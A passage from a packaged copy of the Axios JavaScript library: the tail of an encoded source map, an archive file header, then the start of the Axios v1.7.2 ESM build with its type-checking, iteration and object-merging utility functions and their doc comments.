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"}esm/axios.js000064400000273021151677271550007036 0ustar00// Axios v1.7.2 Copyright (c) 2024 Matt Zabriskie and contributors
function bind(fn, thisArg) {
  return function wrap() {
    return fn.apply(thisArg, arguments);
  };
}

// utils is a library of generic helper functions non-specific to axios

const {toString} = Object.prototype;
const {getPrototypeOf} = Object;

const kindOf = (cache => thing => {
    const str = toString.call(thing);
    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());
})(Object.create(null));

const kindOfTest = (type) => {
  type = type.toLowerCase();
  return (thing) => kindOf(thing) === type
};

const typeOfTest = type => thing => typeof thing === type;

/**
 * Determine if a value is an Array
 *
 * @param {Object} val The value to test
 *
 * @returns {boolean} True if value is an Array, otherwise false
 */
const {isArray} = Array;

/**
 * Determine if a value is undefined
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if the value is undefined, otherwise false
 */
const isUndefined = typeOfTest('undefined');

/**
 * Determine if a value is a Buffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Buffer, otherwise false
 */
function isBuffer(val) {
  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)
    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);
}

/**
 * Determine if a value is an ArrayBuffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is an ArrayBuffer, otherwise false
 */
const isArrayBuffer = kindOfTest('ArrayBuffer');


/**
 * Determine if a value is a view on an ArrayBuffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false
 */
function isArrayBufferView(val) {
  let result;
  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {
    result = ArrayBuffer.isView(val);
  } else {
    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));
  }
  return result;
}

/**
 * Determine if a value is a String
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a String, otherwise false
 */
const isString = typeOfTest('string');

/**
 * Determine if a value is a Function
 *
 * @param {*} val The value to test
 * @returns {boolean} True if value is a Function, otherwise false
 */
const isFunction = typeOfTest('function');

/**
 * Determine if a value is a Number
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Number, otherwise false
 */
const isNumber = typeOfTest('number');

/**
 * Determine if a value is an Object
 *
 * @param {*} thing The value to test
 *
 * @returns {boolean} True if value is an Object, otherwise false
 */
const isObject = (thing) => thing !== null && typeof thing === 'object';

/**
 * Determine if a value is a Boolean
 *
 * @param {*} thing The value to test
 * @returns {boolean} True if value is a Boolean, otherwise false
 */
const isBoolean = thing => thing === true || thing === false;

/**
 * Determine if a value is a plain Object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a plain Object, otherwise false
 */
const isPlainObject = (val) => {
  if (kindOf(val) !== 'object') {
    return false;
  }

  const prototype = getPrototypeOf(val);
  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);
};

/**
 * Determine if a value is a Date
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Date, otherwise false
 */
const isDate = kindOfTest('Date');

/**
 * Determine if a value is a File
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a File, otherwise false
 */
const isFile = kindOfTest('File');

/**
 * Determine if a value is a Blob
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Blob, otherwise false
 */
const isBlob = kindOfTest('Blob');

/**
 * Determine if a value is a FileList
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a File, otherwise false
 */
const isFileList = kindOfTest('FileList');

/**
 * Determine if a value is a Stream
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Stream, otherwise false
 */
const isStream = (val) => isObject(val) && isFunction(val.pipe);

/**
 * Determine if a value is a FormData
 *
 * @param {*} thing The value to test
 *
 * @returns {boolean} True if value is an FormData, otherwise false
 */
const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && (
        (kind = kindOf(thing)) === 'formdata' ||
        // detect form-data instance
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
};

/**
 * Determine if a value is a URLSearchParams object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a URLSearchParams object, otherwise false
 */
const isURLSearchParams = kindOfTest('URLSearchParams');

const [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);

/**
 * Trim excess whitespace off the beginning and end of a string
 *
 * @param {String} str The String to trim
 *
 * @returns {String} The String freed of excess whitespace
 */
const trim = (str) => str.trim ?
  str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');

/**
 * Iterate over an Array or an Object invoking a function for each item.
 *
 * If `obj` is an Array callback will be called passing
 * the value, index, and complete array for each item.
 *
 * If 'obj' is an Object callback will be called passing
 * the value, key, and complete object for each property.
 *
 * @param {Object|Array} obj The object to iterate
 * @param {Function} fn The callback to invoke for each item
 *
 * @param {Boolean} [allOwnKeys = false]
 * @returns {any}
 */
function forEach(obj, fn, {allOwnKeys = false} = {}) {
  // Don't bother if no value provided
  if (obj === null || typeof obj === 'undefined') {
    return;
  }

  let i;
  let l;

  // Force an array if not already something iterable
  if (typeof obj !== 'object') {
    /*eslint no-param-reassign:0*/
    obj = [obj];
  }

  if (isArray(obj)) {
    // Iterate over array values
    for (i = 0, l = obj.length; i < l; i++) {
      fn.call(null, obj[i], i, obj);
    }
  } else {
    // Iterate over object keys
    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);
    const len = keys.length;
    let key;

    for (i = 0; i < len; i++) {
      key = keys[i];
      fn.call(null, obj[key], key, obj);
    }
  }
}

function findKey(obj, key) {
  key = key.toLowerCase();
  const keys = Object.keys(obj);
  let i = keys.length;
  let _key;
  while (i-- > 0) {
    _key = keys[i];
    if (key === _key.toLowerCase()) {
      return _key;
    }
  }
  return null;
}

const _global = (() => {
  /*eslint no-undef:0*/
  if (typeof globalThis !== "undefined") return globalThis;
  return typeof self !== "undefined" ? self : (typeof window !== 'undefined' ? window : global)
})();

const isContextDefined = (context) => !isUndefined(context) && context !== _global;

/**
 * Accepts varargs expecting each argument to be an object, then
 * immutably merges the properties of each object and returns result.
 *
 * When multiple objects contain the same key the later object in
 * the arguments list will take precedence.
 *
 * Example:
 *
 * ```js
 * var result = merge({foo: 123}, {foo: 456});
 * console.log(result.foo); // outputs 456
 * ```
 *
 * @param {Object} obj1 Object to merge
 *
 * @returns {Object} Result of all merge properties
 */
function merge(/* obj1, obj2, obj3, ... */) {
  const {caseless} = isContextDefined(this) && this || {};
  const result = {};
  const assignValue = (val, key) => {
    const targetKey = caseless && findKey(result, key) || key;
    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {
      result[targetKey] = merge(result[targetKey], val);
    } else if (isPlainObject(val)) {
      result[targetKey] = merge({}, val);
    } else if (isArray(val)) {
      result[targetKey] = val.slice();
    } else {
      result[targetKey] = val;
    }
  };

  for (let i = 0, l = arguments.length; i < l; i++) {
    arguments[i] && forEach(arguments[i], assignValue);
  }
  return result;
}

/**
 * Extends object a by mutably adding to it the properties of object b.
 *
 * @param {Object} a The object to be extended
 * @param {Object} b The object to copy properties from
 * @param {Object} thisArg The object to bind function to
 *
 * @param {Boolean} [allOwnKeys]
 * @returns {Object} The resulting value of object a
 */
const extend = (a, b, thisArg, {allOwnKeys}= {}) => {
  forEach(b, (val, key) => {
    if (thisArg && isFunction(val)) {
      a[key] = bind(val, thisArg);
    } else {
      a[key] = val;
    }
  }, {allOwnKeys});
  return a;
};

/**
 * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)
 *
 * @param {string} content with BOM
 *
 * @returns {string} content value without BOM
 */
const stripBOM = (content) => {
  if (content.charCodeAt(0) === 0xFEFF) {
    content = content.slice(1);
  }
  return content;
};

/**
 * Inherit the prototype methods from one constructor into another
 * @param {function} constructor
 * @param {function} superConstructor
 * @param {object} [props]
 * @param {object} [descriptors]
 *
 * @returns {void}
 */
